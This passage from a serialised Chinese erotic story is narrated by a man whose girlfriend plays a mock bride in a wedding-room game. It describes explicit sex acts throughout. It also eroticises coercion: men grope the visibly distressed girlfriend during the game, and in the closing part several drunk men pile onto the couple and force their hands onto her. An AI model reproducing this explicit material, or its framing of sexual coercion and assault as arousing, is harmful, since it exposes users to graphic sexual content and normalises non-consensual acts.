曈曈望着我,我知道她是在等我的意思,我竟然鬼使神差的点了点头,内心里竟然有一些说不出来的期盼。曈曈的眼神也十分的负责,那一刻我觉得自己已经读不懂曈曈了。

离我最远的是伴娘,最近的是伴郎。整个床的长度也就是两米多不到两米五的样子,六个人坐上面倒也不显得拥挤。徐萌一把将曈曈搂了过去,顺手还摸了一下曈曈的小翘臀,说道:“先趴姐姐腿上。”曈曈一手捂着胸,一手拿着打火机,扭捏的趴了上去。

毕竟也有一米六五的个子,曈曈大腿根搭到了徐萌的腿上,头就已经放在了第四个人的腿上,而第四个人,恰好不好的就是那个胖子。还没有等曈曈做出任何尴尬的反应。所有人的腿疯狂的上下舞动起来。

曈曈惊叫一声,捂着胸部的手也放开了,估计被颠的不轻。胸部摩擦在第三个人的腿上,第三个人的腿毛很重,不知道会不会把曈曈扎疼。反正这位腿毛兄一脸舒服的表情。

因为怕曈曈掉下去,每个人都用手拦着曈曈,往自己的怀里拉。瞬间,几乎就是瞬间的样子,所有男人的老二都又站起来了。看着曈曈被顶起落下的身躯,我心里一阵心疼,如果只是这样,我的小弟弟是绝对不会擡起头的,但是我看到了胖子的一个动作。

胖子不断上下舞动着腿。但是用手拦着曈曈的头,将曈曈的头推向自己的大腿根。大腿根是什么?曈曈刚才没过的粗壮高耸的胖子的阳具啊。唯一一个穿着三角裤头的胖子,我甚至能看到裤头被高高顶起后两边露出来的阴毛。而曈曈的脸就在那里上下的摩擦。曈曈一副快要哭出来的表情。

我大喊了一声:“轻点!”。其实虽然所有人动作的幅度都比较大,但是还是比较温柔的,毕竟猛烈的上下撞击的话,会弄的很痛。大家好像是听到了我的话吗,变得更加缓慢了点,那种感觉,就像是和曈曈的身体进行摩擦。

我觉得自己的老二快要爆掉了,你能想象到一个女人被三四个男人的鸡巴浑身上下的摩擦么?虽然这个女人是我的女朋友,可是这种强烈的刺激是不能被无视的。虽然隔着内裤,但是曈曈还是一副羞愧欲哭的样子,一层内裤怎么能抵挡肉棒的火热呢?

不光是我,所有人几乎都刺激的不行,感觉胖子扶着曈曈头的手原来越用力的往自己的肉棒上压,似乎再刺激一点就要射出来了。曈曈尖叫了一下,扒着胖子的腿前进了一点。这下变成了胸部挤在胖子的老二上,而脸部又挤在下一个黑痣男的肉棒上,黑痣男重复着刚才胖子做过的事情,曈曈小声惊唿一下,别抿着嘴不再喊叫,我亲眼看到了曈曈因为张嘴喊叫,黑痣男用力的一拉,内裤紧绷的肉棒擦着曈曈的嘴唇浅浅的进去了一下。

我睁大眼睛,已经说不出来话,紧紧的盯住曈曈挣扎的身躯,内心的刺激已经无以复加,同时还有深深的自责。

再看胖子,护着曈曈的一只手竟然从下面这个胸罩揉捏起来,曈曈已经浑身上下被攻击的不知道保护哪里好,只有奋进的向我这边爬来。

时间很漫长么?或者过的很快?我已经感受不到了。等曈曈爬到我的面前的时候,连我竟然也已经浑身大汗,更不要提这几个舞动双腿的男人,还有不断挣扎的曈曈了。

曈曈的头搭在伴郎的腿上的时候,伴郎相对来说还是比较老实的,只是用手轻轻扶住曈曈的头部,只是在不停地用指头揉捻着曈曈的耳垂。伴郎的肉棒说起来应该是最长的,只是没有胖子的粗,我目测估计,至少比我长处一个龟头的长度,应该有十八厘米以上吧。而且伴郎比较偏瘦的,不用想胖子那样费力的挤压,他的肉棒就能轻轻的在曈曈的耳边、脸颊擦过。

曈曈整个后背都是粉红的,说不清是被人揉搓的,还是兴奋的了。在十几次的试验之后,曈曈终于点着了我颤抖的手夹着的烟。

伴郎带头鼓掌叫好,我轻轻的将曈曈抱了过来,怜惜的亲了曈曈一下。曈曈伴着娇喘声的起伏不定的乳房似乎也泛着红。这一刻我看到曈曈注视我的目光,在闪烁。我只能用闪烁这个词语来形容,因为她包含的意思是在是太复杂了。我忽然有些怕,好像觉得,曈曈已经脱离了我的掌控,一切都不在我的掌控中了。 或许我从来就不曾掌控过。

曈曈的额头顶在我的脖子下面,蹭了两下。说道:“老公,你生气了么?” 我无法做出语言的回答,纠缠不看的内心已经让我丧失了说话的勇气,只能轻轻的点了下头。点头代表着生气,还是不生气呢?我不知道,曈曈应该理解为不生气了吧。因为她羞涩把头又埋到我怀里了。手却不老实的抓了一下我顶起的肉棒。

伴郎不痛不痒的说了几句话,说要进行下一个游戏。我看着满身香汗的曈曈,说道:“让我们休息一下吧。”

伴郎点头说到:“好,好,那么新娘去给新郎倒杯水吧,醒酒要多喝水呢。” 曈曈用力的抱了我一下,站起身来去桌子边拿找杯子给我倒果汁。所有人我目光又不约而同的盯着曈曈的小翘臀,因为,内裤上有一摊水渍。

我的心突然好想猫挠一样,有冲动立马把曈曈抱过来压到床上,做在场所有男人都想做的事情。龟头上似乎也渗出了一点粘液。我突然想起来了刚才的一幕,向胖子的内裤上看去。果然,肉棒顶着的那个地方早有一团湿的印记了,看那水印的大小,应该不是射精了,只是太刺激引起的透明分泌物。

靠,刚才曈曈趴在他们腿上的时候,原来每个人都可以看到曈曈内裤的水渍的,只是没有人说出来。这群狼!

人生如梦——女友做伴娘(5)

曈曈端着倒好的果汁向我走了过来,好像发现了我们目光注视着的部位,有些故作镇定不着痕迹的将两条笔直的细腿夹紧了些。熟不知可爱的小内裤湿了以后,本就贴在肉上,双腿再稍微夹紧,一个性感阴唇的形象便勒了出来,这种诱惑连我这个和曈曈做过五六年爱的男人都受不了了,更不用说旁边唿吸已经不自觉加重了的群狼们。

曈曈越发不自在的走到了我面前,顺势坐在了我的腿上,我一手搂着曈曈手感极其好的小蛮腰,一手故意放在曈曈的湿透了的神秘花园上,将那些色色的目光全部隔断。曈曈一边将果汁递到我的嘴边:“老公,喝点果汁。”一边给了我一个感激的微笑。

我一口气喝干了整杯果汁,心中的欲火却还是压不下去,隔着湿湿的内裤,我的右手感受着曈曈早已泛滥不堪的小穴里的阵阵潮热。奶奶的,如果房间里面只有我们两个人,我绝对会立马将曈曈推到床上,扯破她的内裤,做人类最原始的运动。

虽然和曈曈一起也是身经百战了,可是心中却从来没有这么想要过,放佛曈曈的小穴里散发着我无法抗拒的吸引力,只想把我的肉棒塞进那个温暖的包围之中。难道就是因为这么多人在场,在我的眼皮底下将我的可爱的女友玩弄的欲火焚身,所以我才会这么的难以自制么?我的理性已经快被欲望淹没了。

伴郎收回了落在曈曈身上欣赏的目光,招唿着大家都喝点水歇歇,想想怎么进行下一个节目。几个男人却只是坐在床边盯着我怀中坐着的曈曈干咽口水。 曈曈轻轻趴在我的肩上,大腿紧紧的盯着我滚烫的肉棒,我的肉棒不自觉地跳动着。曈曈用非常轻的声音,在我的耳边说道:“老公,我想要。我们出去开房好么?”

“你想要这里面谁的大肉棒啊?”我被欲望占据的头脑还没有清醒过来。 “老公,你,在生我气么?”曈曈鼻子突然有些抽动。

感到不对劲,我用双手将曈曈的头扶正,看到曈曈有些要想哭出来的表情,我的脑袋立马清醒了不少。

“笨老婆,我给你开玩笑呢。不许哭,老公才没有生气你气呢!”谁知我话语刚落,曈曈的眼圈就红了。

离我们最近的伴郎,看到了这一幕,站起身招唿着其他的人:“来来来,咱们先把小两口锁到这个屋子里,我有个好点子,出去说,不能让新郎和新娘听到。”其他人一听有好玩的,拉着伴郎非要在这屋子里说出来,起哄道:“你看我们一群大男人传个内裤跑出去,还不得被外面拼酒的几个货笑死,就在这说,小声点说,别让新郎新娘听见就好了。”

伴郎回过头看了我们一眼,曈曈的头已经埋在我的肩膀上不肯擡起,除了伴郎和我,没有人知道曈曈现在是一副梨花带雨的景象。伴郎又:“那么我和伴娘将新郎新娘先送入新房好不好,大家等着我回来给大家说点子。”一阵争着要送入新房的起哄,都被伴郎压了下去。我擡头看着伴郎,这是我第一次用感谢的目光看向他,他感觉到了我的意思,向我微微的点了点头。

伴郎拉着徐萌,徐萌搀着我,伴郎扶着曈曈。而曈曈又紧搂着我的胳膊,有些凌乱的头发遮住了脸。出了门,是一个几米长的小走廊,对面是书房,走廊的最后一件就是布置的新房,四个人赤身裸体穿着内衣内裤的走到了新房里面。 新房里堆满了气球,大红的喜字,还有喜庆的红色被褥。站在为别人准备的新房里,总是有些不自在的。新郎好像看出来了我们的不自在,笑着说道,新郎帅帅和我是铁哥们,咱们都是自己人,他的就是我们的。别不自在,当自己的新房都成,回头让帅帅他们住客卧去,哈哈哈。”我也只好赔笑了两声。

我把曈曈扶着坐到了床上,曈曈还在一个劲的揉眼睛。徐萌在一边虽然不清楚状况,可是女人的直觉恐怕也能揣摩一二,抽出两张纸巾递给曈曈。反而是我这个做老公的,却实在不知道曈曈究竟为什么这么伤心。伴郎又说道:“去把曈曈的裙子拿来穿上吧,刚才玩的有些过了,谁让咱们的曈曈是大美女的,谁看了不心动啊。”

徐萌起身过去要那裙子,我也很想吧自己的衣裤拿过来,但是又不好意思开口叫徐萌帮我,只要一起站起来:“我也一起去拿。”伴郎却趁势坐在了曈曈另一边,开始开到曈曈。这个家伙!

徐萌一把拉住了我的手,向客卧走去。我被拉着的瞬间就石化了,我,我自己会走路地啊。出门的时候,徐萌还轻轻将新房的门掩上了,虽然知道伴郎和曈曈独处在里面不会做什么,可是心里还是有点不舒服。或者,我难道是在期待伴郎和曈曈之间会发生什么么?

混乱的思绪在下一秒钟更加混乱了,因为拉我出去的徐萌突然问了我一句话:“你觉得我和曈曈谁更性感一些?”

你用自己和我的亲亲老婆比,让我怎么回答么!虽然心中这样想着,但是我还是忍不住从上到下打量了徐萌几遍。说实话,徐萌属于前凸后翘型的美女,肤色较曈曈稍黑一些,个子也要高上一点。比较致命的是她身上散发出来的一种野性,好像随时都可以把你吃掉一样,而不是曈曈身上那种引诱你去吃掉她的感觉。 “各有千秋吧,你也很性感的。”我慌乱的说道。

“那你猜你和曈曈做爱舒服呢,还是和我这种类型的做爱舒服呢?”徐萌面对我身体前倾,将挺着的胸压倒了我从下往上数的第二根肋的位置上。用挑衅、或者是挑逗的眼光看着我。

靠,一直没时间低下头的弟弟又坚硬如铁了,真不怕我今天刺激过度以后真的萎了啊。

“我只和曈曈做过。”不知道说这句话的时候我有没有脸红。

“呵呵,”笑声中似乎并没有看不起我的意思,“那哥哥的第二次处男身还没有给别人喽?”

处男还有第二次的么?无语啊。徐萌的手也开始不老实了,一手搂着我的脖子,一手按着我的胸膛,侧着身子用紧绷的翘臀在的我阳具上摩擦着。

身体的刺激要远远大于心里的负罪感,我并没有任何要推开徐萌的想法,也没有想将她抱入怀中的冲动,因为我的心中想起了新房中和曈曈独处的伴郎。伴郎现在在做什么呢?

那一刻,我甚至开始怀疑,这些所有的游戏只是伴郎和徐萌给我们下的套,伴郎看上了曈曈,达成的协议便是又徐萌引诱开我。随后又觉得这个想法十分邪恶了,不知道是不是小说看多了的缘故。

也许是感觉到了我内心的不安,徐萌紧蹭两下,就“咯咯咯”的笑着离开了。我一脸尴尬的跟着徐萌进屋拿衣服。再一大堆衣裤中找到了我的衣裤还有曈曈的裙子,徐萌也穿上了她的裙子和外搭。屋里的一群人又叫喊着:“衣服都穿上了,还玩个屁呀。”谁知徐萌甩了一句:“给老娘闭嘴。”拉着我又走出了房间。 跟在徐萌的后面,我发觉自己越发的捉摸不透这个女人了。时而沈静,时而似火。

推开新房门的一瞬间,我的心是紧张的,我不知道如果看到了伴郎和曈曈有所亲热的画面,我应该是发怒好,还是装作无所谓好,亦或是学着伴郎的方式插混打横的圆场。

场面并不如我想象的那么不堪,只是伴郎用纸巾再给曈曈擦眼泪,虽然手脚还算安分,但是气氛却显得那么的暧昧。也许伴郎确实是个好说客,曈曈几乎已经安静了下来。

看到我们进来,伴郎起身对我说道:“没事的,好好和曈曈说说话,给你们十分钟时间哦,我一会可是要带着人进来闹洞房的。”

我点了点头,走过来拉着曈曈的手,而伴郎和徐萌则走了出去。

“老婆,告诉我谁惹你生气了啊?”我心疼的看着曈曈。

曈曈白了我一眼:“还不都是你,人家除了你,从来都没有让别的男人碰过,今天却让这么多男人碰了。我,我。”

说着眼泪就又要流出来。我连忙说道:“好老婆,对不起,我没有保护好你,都怪我。”

曈曈抽泣了两下,幽幽的说:“老公,你会不会嫌弃曈曈不干净了,或者觉得曈曈太淫荡了,曈曈不要做一个淫荡的人。”

我怜惜的把曈曈抱到我的腿上坐着,“老婆,你听我说。今天的事情不能全怪你的,其实我也可以早早阻止,一切就不会发生。可是我却没有及时那么做。我们前面嘿咻的时候总是幻想一些情节,可能今天的情形太接近我们幻想的过程了,我有一种云里雾气不真实的感觉,看到他们欺负你,我又紧张又刺激,我又怕他们真的欺负你,我反而又承受不了。我都不知道自己究竟是怎么样的心情了。” 曈曈看着我的眼睛道:“傻老公,其实刚才我也好像着了魔一样,心里明明好害怕,可身体却好想不由自己控制,下面妹妹都是一直麻麻的痒痒的,可是又好有负罪感。我想让你拉我一把,可是又无法停下来。老公,我有点怕。” 我用力的抱了抱曈曈:“老婆,你知道么,其实因为看到你继续玩下去,我才没有了反对的勇气和理由,我觉得自己不能强行阻止你什么,如果你觉得快乐的,你能接受了,那我不应该阻止你的,虽然我心里有千分万分的不情愿。而且我心里本身就在挣扎。老婆不管怎么样,我都爱你,真的很爱你。”

曈曈亲了我一下:“老公,你最坏了,前段时间一直让我看那些色色的电影和小说,还说要模仿里面的情节。现在真的做了点点出轨的事情,咱们又在这里患得患失的。可是,老公,我也好爱你的。”

我心里仿佛被热水泡着一样舒坦:“老婆,这个游戏你还愿意继续下去么?刚才你抓胖子的老二的时候可真大胆啊。”

曈曈捶了的一下:“我不知道啊,脑子乱的很,我听老公的,老公说怎么样就怎样。刚才,萌萌姐说她,她……”

“她怎么样啊?”我迫不及待的问到。

“你讨厌死了,萌萌姐说,摸一下别的男人的弟弟,老公你会嫉妒的,然后就会更珍惜我,更爱我了。”

我又想起来曈曈抓住胖子阳具的场面,心里又挠了起来,“老婆,那个胖子的大不大啊。”

曈曈低头缩在我怀里,说到:“好大啊,比老公的要粗呢,抓着好热啊,老公。他,他刚才使坏了。”

“怎么使坏了?”我听着曈曈亲口描述的感觉,心中像是被蚂蚁爬过一样。 “人家刚才躺在他腿上的时候,他用力的那他的那个顶我的脸,差点顶到嘴里去。而且,而且还有老公射了之后的那种味道。”说完曈曈都快在我的怀里团成一团了。

“老婆,你刚才刺激么?如果他们真的要嘿咻你,你会怎么样啊?”我有些失神的问到。

“我不知道,老公。刚才特别特别想要,就跟看那个日本的那个小电影里一样,好像自己就是里面的女优,好多男的顶着那个把自己围在中间。老公,刚才我是不是可淫荡了啊?你害怕么?”曈曈偷偷看着我说。

“我怕老婆心里反感大于舒服呢。”我安慰到。我的手已经忍不住缓缓的伸到曈曈的小内裤里面了。

“不要,他们一会就进来了。”曈曈虽然这么说着,但是身体却没有一点抗拒,软软的摊在我的身上。我自然不会理会曈曈的话语,指尖感受着柔软和润滑。好像只有很少的几次见到曈曈流了这么多呢。

记得第一次给曈曈口交,第一次在她的办公室嘿咻,第一次用跳蛋玩等等的第一次中,曈曈才会流这么多的水。整个阴户都是湿润润的,怪不得内裤湿了那么大一块,指头轻轻往肉缝里一按,都能听到挤出水来的滋滋声。

曈曈猛然捂住了自己的嘴巴,瞪大眼睛面泛潮红的看着我,我的手指头已经按在了她的阴蒂上,轻轻的旋转、摩擦。曈曈紧紧的夹住双腿,不由自主的颤抖着。即使捂住嘴巴也挡不住本能的呻吟声。

不到一分钟,曈曈身体僵直,一只手搭在了我不停拨动阴蒂的手背上,我知道曈曈是要到了,突然加快频率,曈曈的身体越绷越直,翘臀已迎合着我的手指不能的前后挺动。我用中指突然滑进了那个无比湿润的小穴中。“唔、额、唔、唔、唔,老公,老公,老公……”

曈曈很快就到高潮了。

虽然曈曈属于那种刺激阴蒂很容易高潮的类型,可是从来没有这么快就到过,可能今天的前戏实在是太足了,足到已经达到临界点了。我的肉棒也快到达临界点了,我真怕再不释放掉,它会爆炸掉。

曈曈浑身是汗的黏在的我身上,我的手指还留在曈曈湿漉漉的淫穴里。感受着肉壁阵阵抽搐的快感。曈曈呵气如兰着对外说道:“老公,我想让你进来,好难受。”

我一把抓起曈曈的手,按在了我的肉棒上。喘着粗气将舌头伸进了曈曈呵着气的小嘴中,和曈曈的香舌交缠翻滚着。曈曈迫不及待的将手伸进了我的内裤里,握着我的涨到快要爆的肉棒上下套弄着。

“老公,老公。弟弟今天好硬,是不是好像要我啊?”曈曈简直浑身上下都散发着发春的味道。

我已经无法忍受这样的折磨了,伸手就要拉掉曈曈的小内裤。曈曈紧紧的拉着我的手:“不要,一会有人要进来了。”

看到我几乎额头都有暴起的青筋,曈曈慢慢的跪倒了地上,轻轻拉下一点我的内裤,我充血到发紫的阳具昂首挺立在空气之中,带点淡淡的精液的味道已经蔓延开来。

曈曈小手轻握阳根,樱桃似的小嘴便将面前的那支张牙舞爪的家伙吞了进去。温热而湿润的感觉从阳具上传来,我那一刻几乎都要忍不住缴枪了。

其实曈曈的口技总是显得很生涩,虽然我们尝试很久了,可是一直以来,在曈曈为我口交过程中,忍不住射精的次数还是很少了,有时候模仿口爆,也是先在淫穴中抽查到足够火候,再将沾满淫液的阳具放入曈曈的口中,手口并用,让我完成了口爆的征服感。

而这次,几乎立马我就要缴枪了。也许环境的真的带给我们太大的刺激。而曈曈含着我的阳具,完全是一种享受的感觉,并不是那种努力为我服务的真实感。这一刻,我觉得我们已经完美的达到了口交的美妙境界。

曈曈只是双手环着我的腰,小香舌不断的在龟头的圆周滑动。吞吐间,口水的声音无不散发着无比淫靡的气息。我已经达到极限很久了。

就在我爆射的那一刻,房门被推开了。我们得激情投入竟然没有察觉到门外伴郎已带着群狼走了过来。

幸好,众人没有一拥而进。只有握着门把手的伴郎和徐萌真切的看到了我再曈曈香唇中口爆的那一幕。后面得人也许能从人缝中看到我们的姿势,从而也会知道我们再做什么,可是绝对不会像伴郎徐萌那样,真切的看到,我的阳具半根顶在曈曈的嘴里,曈曈一脸陶醉的允吸着。

整整两秒钟,伴郎并没有继续推门进入,也没有将们掩上。也许也是被震惊到了吧。而我,正在爆射的快感之中,双手紧紧的抱着曈曈的头,这一刻恐怕就是新郎新娘接着伯父伯母回来了,我也不会松开紧抱的双手。曈曈却无法看到门外的场景。

因为我射的量实在很多,压抑太久的爆发,就这样全部灌注到了曈曈鲜嫩欲滴的小嘴中,太多的精液已经让曈曈的小嘴无法承受,沿着嘴角,一股乳白缓缓流下。

伴郎猛的关上了门,将一伙人挡在门外。我突然萌发出一种报复感,这就是你们想要占有的我的老婆。再我的胯下允吸着我的精液的可爱的老婆。

人生如梦——女友做伴娘(6)

无比刺激的感觉竟然让我的大脑产生了一阵眩晕,浑身像是电流流过一样。 如果不是还残留的三分理智,我一定会忍不住大吼一声。再曈曈温软的小嘴之中爆射之后,过度的兴奋,竟然使我的阳具没有完全疲软下来。

我胯间的酥麻无比的感觉,让我双手情不自禁的紧紧抱着曈曈的头,按向我的胯间。同时臀部夹紧,迎着曈曈的小嘴,又是往里一送。阳具挤仿佛挤开了一扇肉门了,滑入了润滑的通道。深喉的感觉真的很棒。

之前总是很少试深喉的做法,因为曈曈总会忍不住的反胃,毕竟喉咙里插了那么粗一个肉棒,身体的反应总是难免的。每次试做的时候,总是深喉之后迅速拔出,短暂的感受也会让我兴奋不堪。而这次,我紧紧的顶在曈曈的喉壁上。出人意料的是曈曈也米有反胃的反应,只是疯狂的努力咽着我的精液。肉棒被曈曈喉咙下咽的动作富有节奏的挤压着。阳具跳动两下,似乎又射出了最后的一点精液。

曈曈连忙把我推开,好像被呛到了一点,满脸涨得通红,捂着小嘴咳了两下。 我猛然才想起被伴郎关在门外的群狼。来不及擦拭黏黏的阳具,一把拉起内裤。

看着嘴角沾满精液在地上半跪的曈曈,我赶忙扶起道:“老婆,他们都到门外了,快穿衣服。”

话音未落,伴着敲门声,伴郎高八度的声音想起来了:“数到三,我们一起冲进去:“一、…”

我来不及反应,拉起新床上的大红丝绵被,和曈曈钻了进去。

“呦,还没闹呢两个人就这么自觉地洞房了啊。”第一个冲进来的是黑痣男。 其余人跟着一贯而入。伴郎最后进来,顺手又关了房门。

徐萌一把推开黑痣男:“让开让开,我还没有过伴娘瘾呢?”说着别有深意的看了我一眼,又看了看紧紧抱着我的,将头埋在被子里不肯露出的曈曈。 我感受着曈曈浑身滚烫的胴体,高潮过后的我变得十分冷静,暗暗决定,不可以让他们再闹下去了,否则真的要非处是不可了。

伴郎眉飞色舞的走到床边,不怀好意的看着我直笑,我被看的头皮有点发麻。 这家伙不知道看了刚才那幕,会做出什么过分的举动。

伴郎高声道:“看来咱们的新娘新郎迫自觉主动,迫不及待的要洞房了。我们直接开闹好不好啊。”

自然是一片叫好声的。

“新娘别不好意思啊,把头露出来啊,我们现在都把衣服穿上了的,哈哈哈。” 胖子的笑声听起来有些憨厚。

曈曈在被窝里偷偷的擦拭着嘴角的精液。又极为隐蔽的拧了我一下。我忍着痛厚着脸皮到:“各位好友,我们只是预演一下闹洞房,一会正版新郎新娘回来了,我们再继续闹,好不?”

徐萌白了我一眼:“自己说不闹的,还都钻到被子里去,不是明摆着要过吧新郎瘾么?”

一句话噎的的什么反对的意见也说不出来了。

胖子接着喊道:“新娘的头再不露出来,我们就掀被子了啊!”如同杀手锏一般的威胁,让曈曈没办法不把脑袋露出来。

什么叫媚眼如丝?什么叫春心荡漾?我想在场的每一个看到曈曈的脸的人都会很清楚的吧。糟了,我心里暗想到,我倒是爽了,曈曈还在那欲火焚身的吊着呢。千万别让欲火冲昏了脑子啊。话虽如此,我却忘了刚才自己那副模样。 伴郎依旧把场面控制的很好:“既然新娘新郎两人都已经迫不及待的上床上了,我们前面的活动就不玩了,直接从床戏开始吧。”

床戏两个字显然十分暧昧,曈曈听到这两个字后,身体微微抖动了两下,我想她下面一定泛滥的不行了,我感受着曈曈的体温,肉棒竟然又有了再次擡头的倾向。

“既然上床了,怎么能不把衣服脱掉呢!”伴郎继续使坏着。明知道我们都还没有把刚才拿过来的衣服穿上,再脱岂不是要裸了!所以我坚决反对着。反观曈曈,不知是害羞还是因为真的已经欲火焚身了,只是一个劲的抱着我,不说话。 没看清是谁喊了一声:“我们帮这对新人脱衣服啊!”场面几乎失控了,感受到曈曈的慌张,我大吼一声“慢!我们自己来”。

徐萌突然发话了:“刚才给你机会了,你们都没有珍惜么,现在怎么能麻烦新人呢,我们不同意让你自己脱了,我们要替你们脱!”。伴郎也是在一边煽风点火着。这个伴郎究竟想怎么样?

曈曈反对的声音如同猫叫一样,淹没在这群荷尔蒙分泌过剩的色狼的喊叫声中了。伴郎稳了稳局面,说道:“大家不要争了,毕竟人家是女朋友,让你们这群人占了便宜,还不得操刀子砍人啊!我建议让伴娘帮他们脱好啦。”

只要有的衣服脱,哪还会有那么多人反对呢!曈曈似乎也能接受这个做法,只是我的心里总觉得怪怪的,毕竟徐萌能帮我脱的只剩下内裤了!

伴郎把人都打发到距离床一米以外的地方站着,徐萌一个人走到床边,脱了鞋子,直接双腿叉开跪在了我们上面。这个场面,好邪恶!

徐萌似笑非笑的俯身趴在了我的身上,曈曈有些害羞的看着我们,只是死死的抱住我。一只手从床边的被子下面伸了进来,一手撑在曈曈的曈曈的脖子边。 这时候的徐萌,臀部一定是高耸的翘着的。我不禁想起来刚才走廊的那一幕。 有些凉的小手按在了我的腰的部位,轻轻的抚摸着。我两手环抱着曈曈,一时有些不知所措。徐萌低头到们和曈曈的头中间,用只有我们三人可以听到的声音说着:“都没有穿衣服啊,那我直接脱小内裤了哦。”

曈曈有些慌乱,而我,莫名的有些期盼。

那只手,终于摸索到了我的内裤边上,迂回着,画着圈,在我再次慢慢勃起的时候,伸进了我的内裤,抓住了我的肉棒。我几乎要呻吟出声音来。这种刺激,除了曈曈意外的女人抓住我的命根,还当着曈曈的面,我觉得自己肉棒连同大脑都在充血。

只是轻轻的抚摸套弄,我本还沾满这曈曈口水和我的精液的肉棒,就又有喷薄而出的欲望了。

内裤被一点点的拉掉,我扭捏的夹了一下双腿,否则,被子也会被我支出一个帐篷出来。徐萌的身体随着拉掉内裤的幅度,慢慢的像床位退去。这个女人,绝对很骚。这是我当时唯一的想法了。

终于,我的内裤被徐萌从被子里拉了出来随手扔在地上。一群男人竟然无比的兴奋。真希望一会曈曈被脱光之后,这群狼别弄的兽性大发了。

徐萌又怕回我们身上,手却又重新握住我的肉棒。戏谑的看着我的表情。 仿佛玩弄了几下吊我的胃口,徐萌抽出手来,撑在我的头边,然后另一只手从曈曈那边的被子里伸了进去。

曈曈的双腿在轻微的摩擦着,闭着眼睛睫毛微抖。徐萌单手解开了曈曈的胸罩,猛然的拿出来扔到了地上。嗖的一下,胖子竟然一把从地上捡了起来塞到怀里。大家一阵哄笑,可是这个时候的我和萌萌,已经没有心思看这些事情了。 我能感觉到徐萌在曈曈身上来回的抚摸着,曈曈紧张的小幅度的回避着。可是这么点的空间,能避到哪里去呢?徐萌的那只手伸到了紧贴着我的胳膊曈曈的乳房上。强行在我的胳膊和曈曈的乳房中间伸了进去,紧紧的抓住曈曈的乳房。 曈曈全身僵硬的哼了一声。

我清晰的感觉着徐萌撮弄着曈曈的乳房,不时的捏一下曈曈的乳头。她就是一个魔女。

就在曈曈快要忍不住极力挣扎的时候,徐萌的手摸索到了曈曈湿透了的内裤上。曈曈紧张的松开了抱着我的手,紧紧的抓住了徐萌拉着她内裤的手,求救的目光向我看来。

我还没有做出回应的时候,徐萌又低头在我们的耳边说了一句话:“小美女,你老公的肉棒好吃么?我也想尝尝的!”

瞬间,我们两人均已石化,曈曈是因为前半句,而我则是因为后半句!

我们发冷的瞬间,徐萌及其快速的脱下了曈曈的小内裤,同样扔向了人群。 恰巧不巧的扔在了伴郎的手中。伴郎微笑着拿着半湿的内裤,在鼻子下面闻了闻,做出一副陶醉的表情。于是,炸开了锅。

徐萌继续趴在我们的耳边:“曈曈妹妹啊,你老公刚才射的多么?你是不是全吃进去了啊?”

羞愧不堪的曈曈早已失去了恼怒成羞的勇气。只是不说话的抱着我,浑身滚烫。

徐萌继续在我们耳边低语着,一只手不老实的伸进被子里,捉着曈曈的手,慢慢的拉到我的肉棒上。触电般的,我的肉棒又坚挺起来了。我又想起来徐萌拉着曈曈的手放在胖子的肉棒上的场景。一时间,我忍不住了。

曈曈在徐萌的引导下,轻轻的套弄着我的肉棒,而后又拉着我的手,放在的曈曈淫水横流的蜜穴洞口。徐萌的手有放回曈曈柔软的乳房上,偏过头将舌头伸进了我的嘴里。

疯狂着,好像整个世界都疯狂了。我感受到身边的两个女人,徐萌的狂野大胆,曈曈的焦躁和欲望纠结。

我们都暂时忘了房子里站着的一群男人。在不断上下起伏的被子底下。肉欲和道德背叛进行着纠缠。屋子里所有人似乎都忘了时间,只是看着我们得表演。 曈曈一边拼命抗拒着,却一边又死死的夹住我的手。也许只过了几秒钟,也许又有一个世纪那么长。曈曈紧绷的身体软了下来,我的整个手掌都粘潮不堪,从来没有过这么多水的泄身,曈曈终于猛力的捂住自己的嘴,怕喊了出来。 徐萌缓缓的怕下床,看着凌乱不堪的被子,还有被子下面凌乱不堪的我们,也是一脸潮红的说道:“前戏,开始了呢!”

曈曈整个时候已经云里雾里了,我猜如果旁边站的一群男人真的扑上来,曈曈抵抗两下也会乖乖顺从的。只不过清醒之后后果恐怕会十分严重了。

站在一边看戏的目瞪口呆的男人们,竟然没有如我担心的一样饥不择食的扑上来,也许这么香艳的场面不忍心有人打破。其实我知道,如果这时候有一个带头的人,那么结局定然会十分悲惨。而最有可能带头的伴郎王哥,却没有那么做。 连我也不知道,也就是从这一刻,我对他的戒心小了许多。

光是手指上的活,是无法满足曈曈的,只会越刺激越想要,曈曈曾告诉我,阴蒂到达的高潮之后是会非常空虚的,如果没有肉棒填充进去,内心会十分抓痒。 而我呢,及时刚刚不久才有了一次销魂的口爆,可是徐萌已经把我的欲火又完全勾出来了。我的肉棒紧紧的顶在曈曈的两腿之间,但是残留的一丝理智提醒着我,旁边还有一群围观的男人。虽然已经目睹了刚才我们三人的疯狂床战,但毕竟被子上面有个徐萌,再怎么纠缠翻滚,大家也不会看的那么实在。

如果我现在翻身上演现场版肉戏,隔着薄薄的丝绵被,我的每一个动作都会清晰的呈现在这些人的面前。

伴郎似乎看出了我的尴尬之处,对我坏笑着说:“大家想不想看看新郎新娘会几种姿势啊?”

眼睛男竟然是第一个忍不住的人,喊了一声:“我们来教他们吧!”话音未落,便向床上的我们扑来了。

我不由的脸色大变。

人生如梦——女友做伴娘(7)

看到这些男人燃烧着欲望的狰狞表情,我本来高涨的欲望好像被清水洗涤过一般,消失的无影无踪,心中只是害怕,仿佛我和曈曈即将落入无边的黑暗一样。 那一刻我突然明白了,我的任何淫妻的想法,也只能是它在想法中的时候,带给我无限的刺激,刺激源于我的想象,而不是真正的曈曈被别的男人干的过程,因为那些过程的场景也是我的想象中的产物。

而曈曈,更是怕的瑟瑟发抖。及时再怎么暴露,再怎么被众人挑逗,可是曈曈只是想和我一起寻找一份淫妻与出轨的刺激,心中却是承受不了失身于老公之外的人事情发生,或许在我们的思想中,失身便意味着不忠诚。或是曈曈潜意识的惧怕失身之后的她,无法面对我,还有我们以后的生活。

我来不及有什么动作,只是翻过身死死的抱着曈曈,把她面朝下的压在我身下。

已经看不清扑上床的是谁了,只觉得后背好重,一个、两个、大概有三个人的样子,将我和曈曈压在了身下,伴随着的还有那浓重的酒味。

床板已经开始咯吱咯吱的想,被子中不知道有几双手已经深了进来。我死命的想护住曈曈的身体,只是觉得不断的有手想在我的胸部和曈曈背部之间的缝隙中挤进去。

甚至还有人贴着床使劲的将手塞向曈曈的胸前,床毕竟是软的,曈曈再怎么紧缩,终于还是有人将手塞了进去,握住了曈曈的乳房。更有甚者,想去摸曈曈的小肉穴,因为不停的有手摸向我的屁股,划过我的阴囊、蹭着我的肉棒,伸向曈曈的身下的小穴中去。

